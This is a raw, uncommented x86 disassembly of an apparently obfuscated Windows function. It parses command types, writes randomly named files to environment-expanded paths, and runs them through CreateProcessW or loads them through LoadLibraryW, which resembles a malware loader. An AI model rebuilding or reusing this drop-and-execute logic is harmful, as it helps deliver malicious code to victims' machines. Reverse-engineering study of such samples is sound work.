add edx, eax
add edx, 2
sub esp, 4
mov dword [esp], edx
call fcn.00453774
add esp, 4
mov ecx, dword [ebp - 0x3c]
mov dword [ecx], eax
mov eax, dword [ebp - 0x64]
mov ecx, dword [eax]
mov edx, ecx
and edx, 0xfffffffd
mov eax, ecx
or eax, 0xfffffffd
xor eax, 0xffffffff
mov edi, ecx
xor edi, 0xffffffff
and edi, 2
or eax, edi
xor eax, 0xffffffff
xor eax, 0xffffffff
imul eax, edx
mov edx, ecx
xor edx, 2
xor edx, 0xffffffff
mov edi, ecx
or edi, 2
and edi, edx
mov edx, ecx
and edx, 2
xor ecx, 2
or edx, ecx
imul edx, edi
mov ecx, edx
and ecx, eax
shl ecx, 1
xor edx, eax
add edx, ecx
add edx, 2
sub esp, 4
mov dword [esp], edx
call fcn.00453774
add esp, 4
mov edi, dword [ebp - 0x120]
mov dword [edi], eax
mov eax, dword [ebp - 0x68]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xa4]
mov ecx, dword [ecx]
mov esi, dword [ebp - 0x3c]
mov edx, dword [esi]
sub esp, 0xc
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
call fcn.0045379f
add esp, 0xc
mov eax, dword [esi]
mov ecx, dword [ebp - 0x68]
mov ecx, dword [ecx]
mov word [eax + ecx*2], 0
mov esi, dword [ebp - 0x64]
mov eax, dword [esi]
mov ecx, dword [ebp - 0xa0]
mov ecx, dword [ecx]
mov edx, dword [edi]
sub esp, 0xc
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
call fcn.0045379f
add esp, 0xc
mov eax, dword [edi]
mov ecx, dword [esi]
mov word [eax + ecx*2], 0
sub esp, 8
mov dword [esp], 2
mov esi, dword [ebp - 0x11c]
mov dword [esp + 4], esi
call fcn.0042d4a0
add esp, 8
mov eax, dword [ebp - 0xc0]
mov eax, dword [eax]
mov ecx, dword [edi]
mov edx, dword [ebp - 0x3c]
mov edx, dword [edx]
sub esp, 0x10
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], esi
mov dword [esp + 0xc], eax
call fcn.004031f0
add esp, 0xc
mov dword [esp], esi
call fcn.0042d5c0
add esp, 4
mov eax, dword [edi]
sub esp, 4
mov dword [esp], eax
call fcn.004536d5
add esp, 4
mov eax, dword [ebp - 0x3c]
mov eax, dword [eax]
sub esp, 4
mov dword [esp], eax
call fcn.004536d5
add esp, 4
mov eax, dword [ebp - 0x10]
jmp 0x4460d5
jmp 0x4456ef
cmp dword [eax], 2
sete al
test al, 1
jne 0x4456fe
jmp 0x4459a9
jmp 0x445700
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
lea ecx, [0x46775b]
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], ecx
mov dword [esp + 8], 2
call fcn.00401900
add esp, 0xc
cmp eax, 0
setne al
test al, 1
jne 0x445731
jmp 0x44575b
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
lea ecx, [0x46775f]
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], ecx
mov dword [esp + 8], 2
call fcn.00401900
add esp, 0xc
cmp eax, 0
jne 0x445769
mov eax, dword [ebp - 0x10]
mov dword [eax], 4
jmp 0x4460dd
mov esi, dword [ebp - 0x14]
mov eax, dword [esi]
lea ecx, [0x46775b]
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], ecx
call fcn.00401650
add esp, 8
mov ecx, dword [ebp - 0x9c]
mov dword [ecx], eax
mov edi, ecx
mov eax, dword [esi]
lea ecx, [0x46775f]
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], ecx
call fcn.00401650
add esp, 8
mov ecx, dword [ebp - 0x98]
mov dword [ecx], eax
mov esi, ecx
mov eax, dword [edi]
sub esp, 4
mov dword [esp], eax
call fcn.00453c80
add esp, 4
mov ecx, dword [ebp - 0x60]
mov dword [ecx], eax
mov edi, ecx
mov eax, dword [esi]
sub esp, 4
mov dword [esp], eax
call fcn.00453c80
add esp, 4
mov ecx, dword [ebp - 0x5c]
mov dword [ecx], eax
mov eax, dword [edi]
mov ecx, eax
and ecx, 0xffffffff
shl ecx, 1
mov edx, eax
add edx, 0xffffffff
sub edx, ecx
and edx, 2
mov ecx, eax
and ecx, 0xfffffffd
imul ecx, edx
mov dword [ebp - 0xd0], ecx
mov edx, eax
and edx, 2
or eax, 2
mov edi, eax
xor edi, 0xffffffff
mov esi, edx
and esi, edi
mov edi, edx
xor edi, 0xffffffff
mov ecx, eax
and ecx, edi
imul ecx, esi
mov edi, eax
and edi, edx
or eax, edx
imul eax, edi
add eax, ecx
add eax, dword [ebp - 0xd0]
add eax, 2
sub esp, 4
mov dword [esp], eax
call fcn.00453774
add esp, 4
mov ecx, dword [ebp - 0x38]
mov dword [ecx], eax
mov eax, dword [ebp - 0x5c]
mov eax, dword [eax]
mov edx, eax
xor edx, 0xffffffff
and edx, 0xf8235ec1
mov ecx, eax
and ecx, 0x7dca13e
or edx, ecx
xor edx, 0x7dca13e
or edx, edx
xor edx, 0xffffffff
xor edx, 0xffffffff
and edx, 2
mov ecx, eax
and ecx, 0xfffffffd
imul ecx, edx
mov edx, eax
and edx, 2
or eax, 2
mov edi, eax
xor edi, 0xffffffff
mov esi, edx
and esi, edi
mov edi, edx
xor edi, 0xffffffff
mov dword [ebp - 0xc8], edi
mov edi, eax
and edi, dword [ebp - 0xc8]
imul edi, esi
mov esi, eax
and esi, edx
or eax, edx
imul eax, esi
add eax, edi
xor ecx, 0xffffffff
sub ecx, 0xffffffff
sub eax, ecx
add eax, 0xab611e8e
sub eax, 0xfffffffe
sub eax, 0xab611e8e
sub esp, 4
mov dword [esp], eax
call fcn.00453774
add esp, 4
mov edi, dword [ebp - 0x118]
mov dword [edi], eax
mov eax, dword [ebp - 0x60]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x9c]
mov ecx, dword [ecx]
mov esi, dword [ebp - 0x38]
mov edx, dword [esi]
sub esp, 0xc
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
call fcn.0045379f
add esp, 0xc
mov eax, dword [esi]
mov ecx, dword [ebp - 0x60]
mov ecx, dword [ecx]
mov word [eax + ecx*2], 0
mov esi, dword [ebp - 0x5c]
mov eax, dword [esi]
mov ecx, dword [ebp - 0x98]
mov ecx, dword [ecx]
mov edx, dword [edi]
sub esp, 0xc
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
call fcn.0045379f
add esp, 0xc
mov eax, dword [edi]
mov ecx, dword [esi]
mov word [eax + ecx*2], 0
sub esp, 8
mov dword [esp], 3
mov esi, dword [ebp - 0x114]
mov dword [esp + 4], esi
call fcn.0042d4a0
add esp, 8
mov eax, dword [edi]
mov ecx, dword [ebp - 0x38]
mov ecx, dword [ecx]
sub esp, 0xc
mov dword [esp], ecx
mov dword [esp + 4], eax
mov dword [esp + 8], esi
call fcn.004466b0
add esp, 8
mov dword [esp], esi
call fcn.0042d5c0
add esp, 4
mov eax, dword [edi]
sub esp, 4
mov dword [esp], eax
call fcn.004536d5
add esp, 4
mov eax, dword [ebp - 0x38]
mov eax, dword [eax]
sub esp, 4
mov dword [esp], eax
call fcn.004536d5
add esp, 4
mov eax, dword [ebp - 0x10]
jmp 0x4460cf
mov eax, dword [ebp - 0x7c]
cmp dword [eax], 3
mov eax, dword [ebp - 0x10]
jne 0x4459b9
jmp 0x4460cd
jmp 0x4459bb
mov eax, dword [ebp - 0x7c]
cmp dword [eax], 4
sete al
test al, 1
jne 0x4459cd
jmp 0x4460c8
mov esi, dword [ebp - 0x14]
mov eax, dword [esi]
lea ecx, [0x467766]
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], ecx
mov dword [esp + 8], 2
call fcn.00401900
add esp, 0xc
mov ecx, dword [ebp - 0x58]
mov dword [ecx], eax
mov eax, dword [esi]
lea ecx, [0x467768]
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], ecx
mov dword [esp + 8], 3
call fcn.00401900
add esp, 0xc
mov ecx, dword [ebp - 0x58]
mov dword [ecx], eax
mov eax, dword [esi]
lea ecx, [0x46776b]
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], ecx
mov dword [esp + 8], 3
call fcn.00401900
add esp, 0xc
mov ecx, dword [ebp - 0x58]
mov dword [ecx], eax
mov eax, dword [esi]
lea ecx, [0x467766]
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], ecx
mov dword [esp + 8], 2
call fcn.00401900
add esp, 0xc
cmp eax, 0
je 0x445ac9
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
lea ecx, [0x467768]
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], ecx
mov dword [esp + 8], 3
call fcn.00401900
add esp, 0xc
cmp eax, 0
je 0x445ac9
jmp 0x445a98
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
lea ecx, [0x46776b]
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], ecx
mov dword [esp + 8], 3
call fcn.00401900
add esp, 0xc
cmp eax, 0
setne al
test al, 1
jne 0x445ad7
jmp 0x445ac9
mov eax, dword [ebp - 0x10]
mov dword [eax], 4
jmp 0x4460c1
mov esi, dword [ebp - 0x14]
mov eax, dword [esi]
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0x467766
call fcn.00401650
add esp, 8
mov ecx, dword [ebp - 0x34]
mov dword [ecx], eax
mov eax, dword [esi]
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0x467768
call fcn.004016c0
add esp, 8
fnstcw word [ebp - 0x24]
movzx eax, word [ebp - 0x24]
or eax, 0xc00
mov word [ebp - 0x88], ax
fldcw word [ebp - 0x88]
fistp dword [ebp - 0x13c]
fldcw word [ebp - 0x24]
mov eax, dword [ebp - 0x13c]
mov ecx, dword [ebp - 0x20]
mov dword [ecx], eax
mov eax, dword [esi]
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0x46776b
call fcn.004016c0
add esp, 8
fnstcw word [ebp - 0x22]
movzx eax, word [ebp - 0x22]
or eax, 0xc00
mov word [ebp - 0x86], ax
fldcw word [ebp - 0x86]
fistp dword [ebp - 0x140]
fldcw word [ebp - 0x22]
mov eax, dword [ebp - 0x140]
mov ecx, dword [ebp - 0x1c]
mov dword [ecx], eax
sub esp, 0xc
mov eax, dword [ebp - 0x54]
mov dword [esp], eax
mov dword [esp + 8], 0x80
mov dword [esp + 4], 0
call fcn.0044e7d0
mov esi, dword [ebp - 0x18]
mov dword [esp], esi
mov dword [esp + 8], 0x400
mov dword [esp + 4], 0
call fcn.0044e7d0
add esp, 0xc
mov ax, word [0x4735b6]
mov ecx, dword [ebp - 0x10c]
mov word [ecx + 0xc], ax
mov eax, dword [0x4735b2]
mov dword [ecx + 8], eax
mov eax, dword [0x4735ae]
mov dword [ecx + 4], eax
mov eax, dword [0x4735aa]
mov dword [ecx], eax
sub esp, 0xc
mov dword [esp + 4], esi
mov dword [esp], ecx
mov dword [esp + 8], 0x200
mov eax, dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
call eax
call fcn.00446240
sub esp, 4
mov dword [esp], eax
call fcn.00453a4c
add esp, 4
call fcn.00453a5e
mov ecx, 0xa
cdq
idiv ecx
mov eax, edx
and eax, 0xa
mov ecx, edx
xor ecx, 0xffffffff
xor edx, 0xffffffff
or ecx, edx
xor ecx, 0xffffffff
or ecx, 0xa
add eax, ecx
mov esi, dword [ebp - 0x108]
mov dword [esi], eax
mov eax, dword [ebp - 0x30]
mov dword [eax], 0
jmp 0x445c47
jmp 0x445c49
mov eax, dword [ebp - 0x30]
mov eax, dword [eax]
cmp eax, dword [esi]
setl al
test al, 1
jne 0x445c64
jmp 0x445c59
mov eax, dword [ebp - 0x10]
mov dword [eax], 8
jmp 0x445c9a
jmp 0x445c66
call fcn.00453a5e
mov ecx, 0x18
cdq
idiv ecx
add edx, 0x61
mov eax, dword [ebp - 0x30]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x54]
mov word [ecx + eax*2], dx
jmp 0x445c84
mov ecx, dword [ebp - 0x30]
mov eax, dword [ecx]
sub eax, 0xa3a14ac7
sub eax, 0xffffffff
add eax, 0xa3a14ac7
mov dword [ecx], eax
jmp 0x445c47
lea eax, [0x46613a]
sub esp, 8
mov esi, dword [ebp - 0x18]
mov dword [esp], esi
mov dword [esp + 4], eax
call fcn.004571b5
mov dword [esp], esi
mov eax, dword [ebp - 0x54]
mov dword [esp + 4], eax
call fcn.004571b5
add esp, 8
mov eax, dword [ebp - 0x20]
cmp dword [eax], 0
jne 0x445e39
mov eax, dword [0x4735c2]
mov ecx, dword [ebp - 0x104]
mov dword [ecx], eax
mov eax, dword [0x4735c6]
mov dword [ecx + 4], eax
mov ax, word [0x4735ca]
mov word [ecx + 8], ax
sub esp, 8
mov eax, dword [ebp - 0x18]
mov dword [esp], eax
mov dword [esp + 4], ecx
call fcn.004571b5
add esp, 8
mov eax, dword [ebp - 0x1c]
cmp dword [eax], 0
sete al
test al, 1
jne 0x445d13
jmp 0x445d6a
xor eax, eax
sub esp, 0xc
mov esi, dword [ebp - 0x100]
mov dword [esp], esi
mov dword [esp + 4], 0
mov dword [esp + 8], 0x400
call fcn.0044e7d0
add esp, 0xc
mov eax, dword [ebp - 0x34]
mov eax, dword [eax]
sub esp, 0xc
mov dword [esp], esi
mov dword [esp + 4], eax
mov dword [esp + 8], 0x200
call fcn.0045379f
add esp, 4
mov dword [esp], esi
mov eax, dword [ebp - 0x18]
mov dword [esp + 4], eax
call fcn.0042cb90
add esp, 8
mov esi, dword [ebp - 0x1c]
cmp dword [esi], 0
jne 0x445e27
xor eax, eax
sub esp, 0xc
mov edi, dword [ebp - 0xfc]
mov dword [esp], edi
mov dword [esp + 4], 0
mov dword [esp + 8], 0x44
call fcn.0044e7d0
add esp, 0xc
mov dword [edi], 0x44
xor eax, eax
sub esp, 0xc
mov ebx, dword [ebp - 0xf8]
mov dword [esp], ebx
mov dword [esp + 4], 0
mov dword [esp + 8], 0x10
call fcn.0044e7d0
add esp, 0xc
xor eax, eax
sub esp, 0x28
mov eax, dword [ebp - 0x18]
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0
mov dword [esp + 0xc], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0x14], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x1c], 0
mov dword [esp + 0x20], edi
mov dword [esp + 0x24], ebx
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
mov eax, dword [ebx]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [esi], 1
jne 0x445e32
jmp 0x445e2e
jmp 0x445e30
jmp 0x445e32
jmp 0x445e34
mov ebx, dword [ebp - 0x4c]
jmp 0x445e39
mov eax, dword [ebp - 0x20]
cmp dword [eax], 1
jne 0x445f1a
mov eax, dword [0x4735d6]
mov ecx, dword [ebp - 0xf0]
mov dword [ecx], eax
mov eax, dword [0x4735da]
mov dword [ecx + 4], eax
mov ax, word [0x4735de]
mov word [ecx + 8], ax
sub esp, 8
mov eax, dword [ebp - 0x18]
mov dword [esp], eax
mov dword [esp + 4], ecx
call fcn.004571b5
add esp, 8
mov eax, dword [ebp - 0x1c]
cmp dword [eax], 0
jl 0x445ee2
cmp dword [eax], 1
jg 0x445ee2
xor eax, eax
sub esp, 0xc
mov esi, dword [ebp - 0xec]
mov dword [esp], esi
mov dword [esp + 4], 0
mov dword [esp + 8], 0x400
call fcn.0044e7d0
add esp, 0xc
mov eax, dword [ebp - 0x34]
mov eax, dword [eax]
sub esp, 0xc
mov dword [esp], esi
mov dword [esp + 4], eax
mov dword [esp + 8], 0x200
call fcn.0045379f
add esp, 4
mov dword [esp], esi
mov eax, dword [ebp - 0x18]
mov dword [esp + 4], eax
call fcn.0042cb90
add esp, 8
mov eax, dword [ebp - 0x1c]
jmp 0x445ee2
cmp dword [eax], 0
jne 0x445ef6
sub esp, 4
mov eax, dword [ebp - 0x18]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
jmp 0x445ef8
mov eax, dword [ebp - 0x1c]
cmp dword [eax], 1
sete al
test al, 1
jne 0x445f07
jmp 0x445f0d
jmp 0x445f09
jmp 0x445f0b
jmp 0x445f0d
mov eax, dword [ebp - 0x1c]
cmp dword [eax], 2
jne 0x445f17
jmp 0x445f17
mov ebx, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x20]
cmp dword [eax], 2
jne 0x4460ac
mov eax, dword [0x473592]
mov ecx, dword [ebp - 0xe8]
mov dword [ecx], eax
mov eax, dword [0x473596]
mov dword [ecx + 4], eax
mov ax, word [0x47359a]
mov word [ecx + 8], ax
sub esp, 8
mov esi, dword [ebp - 0x18]
mov dword [esp], esi
mov dword [esp + 4], ecx
call fcn.004571b5
add esp, 8
xor eax, eax
sub esp, 0xc
mov ebx, dword [ebp - 0xe4]
mov dword [esp], ebx
mov dword [esp + 4], 0
mov dword [esp + 8], 0x400
call fcn.0044e7d0
add esp, 0xc
mov eax, dword [ebp - 0x34]
mov eax, dword [eax]
sub esp, 0xc
mov dword [esp], ebx
mov dword [esp + 4], eax
mov dword [esp + 8], 0x200
call fcn.0045379f
add esp, 4
mov dword [esp], ebx
mov dword [esp + 4], esi
call fcn.0042cb90
add esp, 8
lea eax, [0x473620]
sub esp, 0xc
mov ebx, dword [ebp - 0xe0]
mov dword [esp], ebx
mov dword [esp + 4], eax
mov dword [esp + 8], 0x3a
call fcn.0044dcd0
sub esp, 4
mov eax, dword [ebp - 0x94]
mov dword [esp], eax
mov dword [esp + 4], 0x200
mov dword [esp + 8], ebx
mov dword [esp + 0xc], esi
call fcn.00446250
add esp, 0x10
xor eax, eax
sub esp, 0xc
mov esi, dword [ebp - 0xdc]
mov dword [esp], esi
mov dword [esp + 4], 0
mov dword [esp + 8], 0x44
call fcn.0044e7d0
add esp, 0xc
mov dword [esi], 0x44
xor eax, eax
sub esp, 0xc
mov ebx, dword [ebp - 0xd8]
mov dword [esp], ebx
mov dword [esp + 4], 0
mov dword [esp + 8], 0x10
call fcn.0044e7d0
add esp, 0xc
xor eax, eax
sub esp, 0x28
mov dword [esp], 0
mov eax, dword [ebp - 0x94]
mov dword [esp + 4], eax
mov dword [esp + 8], 0
mov dword [esp + 0xc], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0x14], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x1c], 0
mov dword [esp + 0x20], esi
mov dword [esp + 0x24], ebx
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
mov eax, dword [ebx]
mov ebx, dword [ebp - 0x4c]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x20]
cmp dword [eax], 3
mov eax, dword [ebp - 0x10]
jne 0x4460b9
jmp 0x4460b9
mov dword [eax], 0
jmp 0x4460c1
cmp dword [eax], 0
jne 0x4460dd
jmp 0x4460c8
mov eax, dword [ebp - 0x10]
jmp 0x4460cd
jmp 0x4460cf
jmp 0x4460d1
jmp 0x4460d3
jmp 0x4460d5
jmp 0x4460d7
mov dword [eax], 0
mov eax, dword [eax]
test eax, eax
je 0x4460ef
jmp 0x4460e5
sub eax, 4
je 0x4460f1
jmp 0x44623b
jmp 0x4460f1
jmp 0x4460f3
mov ecx, dword [ebp - 0x48]
mov eax, dword [ecx]
add eax, 1
mov dword [ecx], eax
jmp 0x444e69
mov esi, ebx
call fcn.00444100
sub esp, 8
mov dword [esp], 1
mov ebx, dword [ebp - 0x50]
mov dword [esp + 4], ebx
call fcn.0042d4a0
add esp, 4
mov dword [esp], ebx
call fcn.00448ff0
mov dword [esp], ebx
call fcn.004487a0
add esp, 4
mov eax, dword [esi]
lea ecx, [0x46776d]
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], ecx
mov dword [esp + 8], 6
call fcn.00401900
add esp, 0xc
cmp eax, 0
setne al
test al, 1
jne 0x446163
jmp 0x4461a2
mov eax, dword [esi]
lea ecx, [0x46776d]
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], ecx
call fcn.004017b0
add esp, 8
mov ecx, dword [ebp - 0xf4]
mov dword [ecx], eax
cmp dword [ecx], 0
setne al
test al, 1
jne 0x446191
jmp 0x4461a2
sub esp, 4
mov eax, dword [ebp - 0x50]
mov dword [esp], eax
call fcn.00447110
add esp, 4
sub esp, 4
mov eax, dword [ebp - 0x50]
mov dword [esp], eax
call fcn.0042d5c0
add esp, 4
mov dword [edi], 0
mov eax, dword [esi]
lea ecx, [0x467770]
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], ecx
mov dword [esp + 8], 6
call fcn.00401900
add esp, 0xc
cmp eax, 0
je 0x4461fc
mov eax, dword [esi]
lea ecx, [0x467770]
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], ecx
call fcn.004017b0
add esp, 8
mov dword [edi], eax
mov eax, dword [ebp - 0x130]
mov eax, dword [eax]
sub esp, 4
mov dword [esp], eax
call fcn.00401a50
add esp, 4
cmp dword [edi], 0
je 0x44621c
call fcn.004474b0
mov ebx, dword [ebp - 0x84]
mov dword [ebx], 1
mov eax, dword [ebp - 0x10]
mov dword [eax], 1
mov eax, dword [ebx]
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret
jmp 0x44623d
jmp 0x44623f
int3